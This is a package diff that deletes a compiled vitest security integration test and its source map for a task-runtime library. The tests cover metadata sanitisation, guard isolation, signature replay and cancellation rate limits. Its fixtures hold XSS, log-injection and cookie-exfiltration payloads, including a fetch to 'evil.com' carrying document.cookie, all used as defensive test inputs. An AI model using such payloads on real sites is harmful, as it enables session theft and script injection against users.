@defai.digital/automatosx 8.0.19 → 8.0.21

package/dist/__tests__/runtime/security-integration.test.js

@@ -1,451 +0,0 @@
-// Sprint 1 Day 10: Security Integration Tests
-// Full security stack integration testing covering Threats T2, T4, T5
-//
-// Tests end-to-end scenarios combining:
-// - GuardIsolation (Threat T2: Guard Bypass Exploitation)
-// - MetadataValidator (Threat T4: Metadata Injection Attacks)
-// - CancellationLimiter (Threat T5: Cancellation Abuse)
-import { describe, expect, it } from 'vitest';
-import * as GuardIsolation from '../../../packages/rescript-core/src/security/GuardIsolation.bs.js';
-import * as MetadataValidator from '../../../packages/rescript-core/src/security/MetadataValidator.bs.js';
-import * as CancellationLimiter from '../../../packages/rescript-core/src/security/CancellationLimiter.bs.js';
-const mockSecretKey = 'integration-test-secret-key';
-describe('Security Stack Integration - Threat T2 + T4 + T5', () => {
-    it('enforces complete security pipeline for task lifecycle', () => {
-        // Scenario: Task submission with metadata validation + guard isolation + cancellation protection
-        const rawMetadata = {
-            taskId: 'task-<script>alert(1)</script>', // XSS attempt (T4)
-            manifestVersion: 'v1.0',
-            attempt: 1,
-            requestedBy: 'user@example.com',
-            tags: ['<img src=x onerror=alert(1)>', 'production'], // XSS attempt (T4)
-            priority: 'high',
-            maliciousField: '<script>document.location="evil.com"</script>' // Unknown field + XSS (T4)
-        };
-        // Step 1: Validate and sanitize metadata (T4 mitigation)
-        const validationReport = MetadataValidator.validateMetadata(MetadataValidator.taskMetadataSchema, rawMetadata);
-        expect(validationReport.valid).toBe(true);
-        expect(validationReport.warnings.length).toBeGreaterThan(0); // Unknown fields removed
-        // Verify XSS neutralized
-        const sanitizedTaskId = JSON.stringify(validationReport.sanitized.taskId);
-        expect(sanitizedTaskId).not.toContain('<script>');
-        expect(sanitizedTaskId).toContain('&lt;');
-        // Step 2: Execute guards with isolated context (T2 mitigation)
-        const ctx = GuardIsolation.createContext('Preparing', 'DependenciesReady', validationReport.sanitized);
-        const authGuard = (ctx) => 'Pass';
-        const rateLimitGuard = (ctx) => 'Pass';
-        const guards = [
-            [authGuard, 'auth-guard'],
-            [rateLimitGuard, 'rate-limit-guard']
-        ];
-        const guardResults = GuardIsolation.executeGuardsBatch(guards, ctx, mockSecretKey);
-        expect(guardResults.length).toBe(2);
-        expect(guardResults[0].isolated).toBe(true);
-        expect(guardResults[1].isolated).toBe(true);
-        // Verify signatures are valid
-        const auditLog = guardResults.map(result => result.signedVerdict);
-        const integrityValid = GuardIsolation.verifyAuditLogIntegrity(auditLog, ctx, mockSecretKey);
-        expect(integrityValid).toBe(true);
-        // Step 3: Rate limit cancellation attempts (T5 mitigation)
-        const limiter = CancellationLimiter.createLimiter();
-        const userId = 'user@example.com';
-        const [newLimiter, cancellationResult] = CancellationLimiter.checkCancellation(limiter, 'task-<script>alert(1)</script>', // Use sanitized taskId
-        userId, 'Preparing', 'NotRequired');
-        expect(cancellationResult).toBe('Allowed');
-        // Verify audit log for cancellation
-        const cancellationAudit = CancellationLimiter.getAuditLog(newLimiter);
-        expect(cancellationAudit.length).toBe(1);
-        expect(cancellationAudit[0].allowed).toBe(true);
-    });
-    it('prevents multi-vector attack combining metadata injection + guard bypass + cancellation flood', () => {
-        // Attacker scenario:
-        // 1. Inject malicious metadata (XSS payload)
-        // 2. Attempt to bypass guards by tampering context
-        // 3. Flood cancellation requests to DoS
-        // Attack Vector 1: Metadata Injection (T4)
-        const attackMetadata = {
-            taskId: 'task-123\\nINFO: ADMIN ACCESS GRANTED', // Log injection
-            requestedBy: '\"><script>fetch("evil.com?cookie="+document.cookie)</script>',
-            tags: Array(20).fill('<img src=x onerror=alert(1)>'), // Array limit exceeded + XSS
-            unknownField1: 'should-be-removed',
-            unknownField2: 'also-removed'
-        };
-        const validationReport = MetadataValidator.validateMetadata(MetadataValidator.taskMetadataSchema, attackMetadata);
-        // Should fail validation due to array limit
-        expect(validationReport.valid).toBe(false);
-        expect(validationReport.errors.some(err => err.includes('exceeds maximum items'))).toBe(true);
-        // Use whitelisted + sanitized version
-        const whitelisted = MetadataValidator.whitelistFields(MetadataValidator.taskMetadataSchema, attackMetadata);
-        const sanitized = MetadataValidator.sanitizeMetadata(whitelisted);
-        // Fix array to pass validation
-        const fixedMetadata = {
-            ...sanitized,
-            tags: ['tag1', 'tag2'] // Reduce to valid size
-        };
-        // Attack Vector 2: Guard Bypass Attempt (T2)
-        const ctx = GuardIsolation.createContext('Preparing', 'DependenciesReady', fixedMetadata);
-        // Attacker attempts to create unfrozen context
-        const tamperedCtx = {
-            currentState: 'Executing', // Attempt to skip to EXECUTING
-            event: 'DependenciesReady',
-            metadata: fixedMetadata,
-            frozen: false // Not frozen!
-        };
-        const guard = (ctx) => 'Pass';
-        const result = GuardIsolation.executeGuardIsolated(guard, 'security-guard', tamperedCtx, mockSecretKey);
-        // Should detect unfrozen context and fail
-        expect(result.isolated).toBe(false);
-        expect(result.signedVerdict.verdict.TAG).toBe('Fail');
-        expect(result.signedVerdict.verdict._0).toContain('frozen');
-        // Attack Vector 3: Cancellation Flooding (T5)
-        const limiter = CancellationLimiter.createLimiter();
-        const attackerId = 'attacker-123';
-        let allowedCount = 0;
-        let deniedCount = 0;
-        // Simulate flooding with 30 rapid cancellation requests
-        let currentLimiter = limiter;
-        for (let i = 0; i < 30; i++) {
-            const [newLimiter, result] = CancellationLimiter.checkCancellation(currentLimiter, `task-${i}`, attackerId, 'Idle', 'NotRequired');
-            currentLimiter = newLimiter;
-            if (result === 'Allowed') {
-                allowedCount++;
-            }
-            else if (result.TAG === 'RateLimitExceeded') {
-                deniedCount++;
-            }
-        }
-        // Only 10 should be allowed (rate limit), 20 should be denied
-        expect(allowedCount).toBe(10);
-        expect(deniedCount).toBe(20);
-        // Verify audit log captured all attempts
-        const auditLog = CancellationLimiter.getAuditLog(currentLimiter);
-        expect(auditLog.length).toBe(30);
-        expect(auditLog.filter(entry => !entry.allowed).length).toBe(20);
-    });
-    it('maintains security boundaries in concurrent task execution scenario', () => {
-        // Scenario: Multiple users submitting tasks concurrently with different metadata and cancellation patterns
-        const user1Metadata = {
-            taskId: 'user1-task',
-            requestedBy: 'user1@example.com',
-            priority: 'high'
-        };
-        const user2Metadata = {
-            taskId: 'user2-task',
-            requestedBy: 'user2@example.com',
-            tags: ['urgent', 'production'],
-            priority: 'critical'
-        };
-        // Validate both users' metadata
-        const validation1 = MetadataValidator.validateMetadata(MetadataValidator.taskMetadataSchema, user1Metadata);
-        const validation2 = MetadataValidator.validateMetadata(MetadataValidator.taskMetadataSchema, user2Metadata);
-        expect(validation1.valid).toBe(true);
-        expect(validation2.valid).toBe(true);
-        // Create isolated contexts
-        const ctx1 = GuardIsolation.createContext('Preparing', 'TaskSubmitted', validation1.sanitized);
-        const ctx2 = GuardIsolation.createContext('Preparing', 'TaskSubmitted', validation2.sanitized);
-        // Execute guards for both users
-        const guard = (ctx) => 'Pass';
-        const result1 = GuardIsolation.executeGuardIsolated(guard, 'auth-guard', ctx1, mockSecretKey);
-        const result2 = GuardIsolation.executeGuardIsolated(guard, 'auth-guard', ctx2, mockSecretKey);
-        // Verify isolation (different signatures due to different contexts)
-        expect(result1.signedVerdict.signature).toBeTruthy();
-        expect(result2.signedVerdict.signature).toBeTruthy();
-        expect(result1.signedVerdict.signature).not.toBe(result2.signedVerdict.signature);
-        // Verify signatures are valid for their respective contexts
-        expect(GuardIsolation.verifySignature(result1.signedVerdict, ctx1, mockSecretKey)).toBe(true);
-        expect(GuardIsolation.verifySignature(result2.signedVerdict, ctx2, mockSecretKey)).toBe(true);
-        // Verify signature from one context fails verification with another context
-        expect(GuardIsolation.verifySignature(result1.signedVerdict, ctx2, mockSecretKey)).toBe(false);
-        // Per-user rate limiting isolation
-        const limiter = CancellationLimiter.createLimiter();
-        let limiterState = limiter;
-        // User 1 consumes all tokens
-        for (let i = 0; i < 10; i++) {
-            const [newLimiter, result] = CancellationLimiter.checkCancellation(limiterState, `user1-task-${i}`, 'user1@example.com', 'Idle', 'NotRequired');
-            limiterState = newLimiter;
-        }
-        // User 1's 11th cancellation should be rate limited
-        const [limiter1, result1Cancel] = CancellationLimiter.checkCancellation(limiterState, 'user1-task-11', 'user1@example.com', 'Idle', 'NotRequired');
-        expect(result1Cancel.TAG).toBe('RateLimitExceeded');
-        // User 2 should still have full token bucket (independent rate limit)
-        const [limiter2, result2Cancel] = CancellationLimiter.checkCancellation(limiter1, 'user2-task-1', 'user2@example.com', 'Idle', 'NotRequired');
-        expect(result2Cancel).toBe('Allowed');
-        // Verify per-user statistics
-        const [user1Tokens, user1Count] = CancellationLimiter.getUserStats(limiter2, 'user1@example.com');
-        const [user2Tokens, user2Count] = CancellationLimiter.getUserStats(limiter2, 'user2@example.com');
-        expect(user1Tokens).toBeLessThan(1.0); // User 1 exhausted tokens
-        expect(user1Count).toBe(10); // User 1 had 10 successful cancellations
-        expect(user2Tokens).toBeLessThan(10.0); // User 2 consumed 1 token
-        expect(user2Count).toBe(1); // User 2 had 1 successful cancellation
-    });
-    it('enforces dual confirmation with metadata validation for EXECUTING state', () => {
-        // Scenario: User attempts to cancel EXECUTING task - requires confirmation + metadata validation
-        const metadata = {
-            taskId: 'executing-task-123',
-            requestedBy: 'user@example.com',
-            tags: ['critical', 'production'],
-            priority: 'critical'
-        };
-        // Validate metadata
-        const validationReport = MetadataValidator.validateMetadata(MetadataValidator.taskMetadataSchema, metadata);
-        expect(validationReport.valid).toBe(true);
-        // Create context in EXECUTING state
-        const ctx = GuardIsolation.createContext('Executing', 'CancelRequest', validationReport.sanitized);
-        // Execute cancellation guard (should pass)
-        const cancelGuard = (ctx) => {
-            // Check if state is EXECUTING
-            if (ctx.currentState === 'Executing') {
-                return 'Pass';
-            }
-            return { TAG: 'Fail', _0: 'Invalid state for cancellation' };
-        };
-        const guardResult = GuardIsolation.executeGuardIsolated(cancelGuard, 'cancel-guard', ctx, mockSecretKey);
-        expect(guardResult.signedVerdict.verdict).toBe('Pass');
-        // Create cancellation limiter
-        const limiter = CancellationLimiter.createLimiter();
-        const userId = 'user@example.com';
-        // Attempt 1: No confirmation (should require confirmation)
-        const confirmation1 = CancellationLimiter.createConfirmationRequirement('Executing');
-        expect(confirmation1.TAG).toBe('Required');
-        const [limiter1, result1] = CancellationLimiter.checkCancellation(limiter, 'executing-task-123', userId, 'Executing', confirmation1);
-        expect(result1.TAG).toBe('ConfirmationRequired');
-        expect(result1.status.TAG).toBe('Required');
-        // Attempt 2: With confirmation (should succeed)
-        const confirmation2 = CancellationLimiter.confirmCancellation(confirmation1);
-        expect(CancellationLimiter.isConfirmationComplete(confirmation2)).toBe(true);
-        const [limiter2, result2] = CancellationLimiter.checkCancellation(limiter1, 'executing-task-123', userId, 'Executing', confirmation2);
-        expect(result2).toBe('Allowed');
-        // Verify audit log shows confirmation flow
-        const auditLog = CancellationLimiter.getAuditLog(limiter2);
-        expect(auditLog.length).toBe(2);
-        // First attempt: confirmation required but not provided
-        expect(auditLog[0].confirmationRequired).toBe(true);
-        expect(auditLog[0].confirmationProvided).toBe(false);
-        expect(auditLog[0].allowed).toBe(false);
-        // Second attempt: confirmation provided
-        expect(auditLog[1].confirmationRequired).toBe(true);
-        expect(auditLog[1].confirmationProvided).toBe(true);
-        expect(auditLog[1].allowed).toBe(true);
-    });
-    it('provides complete audit trail across all security layers', () => {
-        // Scenario: Full task lifecycle with complete audit logging
-        const metadata = {
-            taskId: 'audit-test-task',
-            manifestVersion: 'v1.0',
-            attempt: 1,
-            requestedBy: 'auditor@example.com',
-            tags: ['audit', 'test'],
-            priority: 'high'
-        };
-        // Step 1: Metadata validation (audit point 1)
-        const validationReport = MetadataValidator.validateMetadata(MetadataValidator.taskMetadataSchema, metadata);
-        expect(validationReport.valid).toBe(true);
-        // Step 2: Guard execution (audit point 2)
-        const ctx = GuardIsolation.createContext('Preparing', 'DependenciesReady', validationReport.sanitized);
-        const guards = [
-            [(ctx) => 'Pass', 'auth-guard'],
-            [(ctx) => 'Pass', 'rate-limit-guard'],
-            [(ctx) => ({ TAG: 'Defer', _0: 'Async check pending' }), 'dependency-guard']
-        ];
-        const guardResults = GuardIsolation.executeGuardsBatch(guards, ctx, mockSecretKey);
-        // Verify guard audit log
-        let guardAuditLog = GuardIsolation.createAuditLog();
-        guardResults.forEach(result => {
-            guardAuditLog = GuardIsolation.appendToAuditLog(guardAuditLog, result);
-        });
-        expect(guardAuditLog.length).toBe(3);
-        expect(guardAuditLog[0].guardName).toBe('auth-guard');
-        expect(guardAuditLog[1].guardName).toBe('rate-limit-guard');
-        expect(guardAuditLog[2].guardName).toBe('dependency-guard');
-        // Verify all signatures are valid
-        const guardIntegrityValid = GuardIsolation.verifyAuditLogIntegrity(guardAuditLog, ctx, mockSecretKey);
-        expect(guardIntegrityValid).toBe(true);
-        // Step 3: Cancellation attempts (audit point 3)
-        const limiter = CancellationLimiter.createLimiter();
-        const userId = 'auditor@example.com';
-        // Make several cancellation attempts
-        let currentLimiter = limiter;
-        for (let i = 0; i < 5; i++) {
-            const [newLimiter, result] = CancellationLimiter.checkCancellation(currentLimiter, `audit-test-task-${i}`, userId, 'Idle', 'NotRequired');
-            currentLimiter = newLimiter;
-        }
-        // Verify cancellation audit log
-        const cancellationAuditLog = CancellationLimiter.getAuditLog(currentLimiter);
-        expect(cancellationAuditLog.length).toBe(5);
-        // All entries should have complete metadata
-        cancellationAuditLog.forEach(entry => {
-            expect(entry.taskId).toBeTruthy();
-            expect(entry.userId).toBe(userId);
-            expect(entry.timestamp).toBeGreaterThan(0);
-            expect(typeof entry.rateLimitPassed).toBe('boolean');
-            expect(typeof entry.allowed).toBe('boolean');
-            expect(entry.allowed).toBe(true); // All within rate limit
-        });
-        // Complete audit trail available:
-        // - Metadata validation report
-        // - Guard execution audit log (3 entries with signatures)
-        // - Cancellation audit log (5 entries)
-        expect(validationReport).toBeTruthy();
-        expect(guardAuditLog.length).toBe(3);
-        expect(cancellationAuditLog.length).toBe(5);
-    });
-    it('detects and prevents signature replay attacks', () => {
-        // Scenario: Attacker captures valid signed verdict and attempts to replay it
-        const metadata = { taskId: 'task-123', priority: 'high' };
-        const validationReport = MetadataValidator.validateMetadata(MetadataValidator.taskMetadataSchema, metadata);
-        // Step 1: Legitimate guard execution
-        const ctx1 = GuardIsolation.createContext('Preparing', 'DependenciesReady', validationReport.sanitized);
-        const guard = (ctx) => 'Pass';
-        const result1 = GuardIsolation.executeGuardIsolated(guard, 'auth-guard', ctx1, mockSecretKey);
-        expect(result1.signedVerdict.verdict).toBe('Pass');
-        expect(GuardIsolation.verifySignature(result1.signedVerdict, ctx1, mockSecretKey)).toBe(true);
-        // Step 2: Attacker captures signed verdict and attempts replay with different context
-        const ctx2 = GuardIsolation.createContext('Executing', 'TaskStarted', validationReport.sanitized);
-        // Replay attack: Use signature from ctx1 with ctx2
-        const replayValid = GuardIsolation.verifySignature(result1.signedVerdict, ctx2, mockSecretKey);
-        expect(replayValid).toBe(false); // Signature should fail - different context
-        // Step 3: Attacker attempts to modify verdict while keeping signature
-        const tamperedVerdict = {
-            ...result1.signedVerdict,
-            verdict: { TAG: 'Fail', _0: 'Tampered' }
-        };
-        const tamperedValid = GuardIsolation.verifySignature(tamperedVerdict, ctx1, mockSecretKey);
-        expect(tamperedValid).toBe(false); // Signature should fail - verdict modified
-    });
-    it('enforces size limits to prevent resource exhaustion attacks', () => {
-        // Scenario: Attacker attempts resource exhaustion via oversized metadata
-        const oversizedMetadata = {
-            taskId: 'task-123',
-            requestedBy: 'x'.repeat(15000), // 15KB - exceeds 10KB limit
-            tags: ['tag1', 'tag2']
-        };
-        const size = MetadataValidator.calculateMetadataSize(oversizedMetadata);
-        expect(size).toBeGreaterThan(MetadataValidator.maxMetadataSizeBytes);
-        const validationReport = MetadataValidator.validateMetadata(MetadataValidator.taskMetadataSchema, oversizedMetadata);
-        // Should fail validation due to size
-        expect(validationReport.valid).toBe(false);
-        expect(validationReport.errors.some(err => err.includes('exceeds maximum allowed'))).toBe(true);
-        // Even if size passes, field length limit should catch it
-        const longFieldMetadata = {
-            taskId: 'task-123',
-            requestedBy: 'x'.repeat(200) // Exceeds 128 char limit
-        };
-        const fieldValidationReport = MetadataValidator.validateMetadata(MetadataValidator.taskMetadataSchema, longFieldMetadata);
-        expect(fieldValidationReport.valid).toBe(false);
-        expect(fieldValidationReport.errors.some(err => err.includes('exceeds maximum length'))).toBe(true);
-    });
-    it('prevents log injection through metadata sanitization', () => {
-        // Scenario: Attacker attempts log injection via newline smuggling
-        const logInjectionMetadata = {
-            taskId: 'task-123\\nINFO: ADMIN ACCESS GRANTED\\nINFO: Password reset for admin@example.com',
-            requestedBy: 'attacker@example.com',
-            priority: 'high'
-        };
-        const sanitized = MetadataValidator.sanitizeMetadata(logInjectionMetadata);
-        // Sanitized string should have newlines removed
-        const sanitizedTaskId = MetadataValidator.sanitizeString(logInjectionMetadata.taskId);
-        expect(sanitizedTaskId).not.toContain('\\n');
-        expect(sanitizedTaskId).not.toContain('ADMIN ACCESS GRANTED');
-    });
-    it('maintains performance under high load while enforcing security', () => {
-        // Scenario: 100 concurrent tasks with full security validation
-        const results = [];
-        const limiter = CancellationLimiter.createLimiter();
-        let currentLimiter = limiter;
-        for (let i = 0; i < 100; i++) {
-            const metadata = {
-                taskId: `task-${i}`,
-                requestedBy: `user${i % 10}@example.com`, // 10 different users
-                priority: 'high'
-            };
-            // Metadata validation
-            const validationReport = MetadataValidator.validateMetadata(MetadataValidator.taskMetadataSchema, metadata);
-            // Guard execution
-            const ctx = GuardIsolation.createContext('Preparing', 'TaskSubmitted', validationReport.sanitized);
-            const guard = (ctx) => 'Pass';
-            const guardResult = GuardIsolation.executeGuardIsolated(guard, `guard-${i}`, ctx, mockSecretKey);
-            // Cancellation check
-            const [newLimiter, cancellationResult] = CancellationLimiter.checkCancellation(currentLimiter, `task-${i}`, `user${i % 10}@example.com`, 'Preparing', 'NotRequired');
-            currentLimiter = newLimiter;
-            results.push({
-                validationValid: validationReport.valid,
-                guardIsolated: guardResult.isolated,
-                guardVerdict: guardResult.signedVerdict.verdict,
-                cancellationAllowed: cancellationResult === 'Allowed' || cancellationResult.TAG === 'RateLimitExceeded'
-            });
-        }
-        // All validations should pass
-        expect(results.every(r => r.validationValid)).toBe(true);
-        // All guards should be isolated
-        expect(results.every(r => r.guardIsolated)).toBe(true);
-        // All guards should pass
-        expect(results.every(r => r.guardVerdict === 'Pass')).toBe(true);
-        // Rate limiting should kick in for users (10 users, each can do 10 cancellations)
-        // So at most 100 should be allowed, but some users will hit rate limit
-        const auditLog = CancellationLimiter.getAuditLog(currentLimiter);
-        expect(auditLog.length).toBe(100);
-        // Each user should have exactly 10 cancellations attempted
-        for (let userId = 0; userId < 10; userId++) {
-            const userEntries = auditLog.filter(entry => entry.userId === `user${userId}@example.com`);
-            expect(userEntries.length).toBe(10);
-            // All 10 should be allowed (within rate limit)
-            const allowedCount = userEntries.filter(entry => entry.allowed).length;
-            expect(allowedCount).toBe(10);
-        }
-    });
-});
-describe('Edge Cases and Error Handling', () => {
-    it('handles null and undefined metadata gracefully', () => {
-        const nullMetadata = {
-            taskId: 'task-123',
-            requestedBy: null
-        };
-        const validationReport = MetadataValidator.validateMetadata(MetadataValidator.taskMetadataSchema, nullMetadata);
-        // Should handle null values
-        expect(validationReport).toBeTruthy();
-    });
-    it('handles empty metadata object', () => {
-        const emptyMetadata = {};
-        const validationReport = MetadataValidator.validateMetadata(MetadataValidator.taskMetadataSchema, emptyMetadata);
-        // Should fail due to missing required 'taskId'
-        expect(validationReport.valid).toBe(false);
-        expect(validationReport.errors.some(err => err.includes('taskId'))).toBe(true);
-    });
-    it('handles signature expiration detection', () => {
-        const ctx = GuardIsolation.createContext('Idle', 'DependenciesReady', undefined);
-        const guard = (ctx) => 'Pass';
-        const result = GuardIsolation.executeGuardIsolated(guard, 'test-guard', ctx, mockSecretKey);
-        // Check if not expired within 1 hour
-        const notExpired = GuardIsolation.isSignatureExpired(result.signedVerdict, 3600000);
-        expect(notExpired).toBe(false);
-        // Check if expired with negative max age (signature created in past)
-        const expired = GuardIsolation.isSignatureExpired(result.signedVerdict, -1);
-        expect(expired).toBe(true);
-    });
-    it('handles confirmation timeout expiration', () => {
-        const confirmationStatus = CancellationLimiter.createConfirmationRequirement('Executing');
-        expect(confirmationStatus.TAG).toBe('Required');
-        const now = Date.now();
-        // Not expired immediately
-        const notExpired = CancellationLimiter.isConfirmationExpired(confirmationStatus, now + 1000);
-        expect(notExpired).toBe(false);
-        // Expired after 31 seconds
-        const expired = CancellationLimiter.isConfirmationExpired(confirmationStatus, now + 31000);
-        expect(expired).toBe(true);
-    });
-    it('handles concurrent guard execution with shared context', () => {
-        const metadata = { taskId: 'task-123', priority: 'high' };
-        const validationReport = MetadataValidator.validateMetadata(MetadataValidator.taskMetadataSchema, metadata);
-        const ctx = GuardIsolation.createContext('Preparing', 'DependenciesReady', validationReport.sanitized);
-        // Execute same guard multiple times concurrently (simulated)
-        const guard = (ctx) => 'Pass';
-        const results = Array.from({ length: 5 }, (_, i) => GuardIsolation.executeGuardIsolated(guard, `guard-${i}`, ctx, mockSecretKey));
-        // All should be isolated
-        expect(results.every(r => r.isolated)).toBe(true);
-        // All should have valid signatures
-        results.forEach(result => {
-            expect(GuardIsolation.verifySignature(result.signedVerdict, ctx, mockSecretKey)).toBe(true);
-        });
-    });
-});
-//# sourceMappingURL=security-integration.test.js.map

package/dist/__tests__/runtime/security-integration.test.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"security-integration.test.js","sourceRoot":"","sources":["../../../src/__tests__/runtime/security-integration.test.ts"],"names":[],"mappings":"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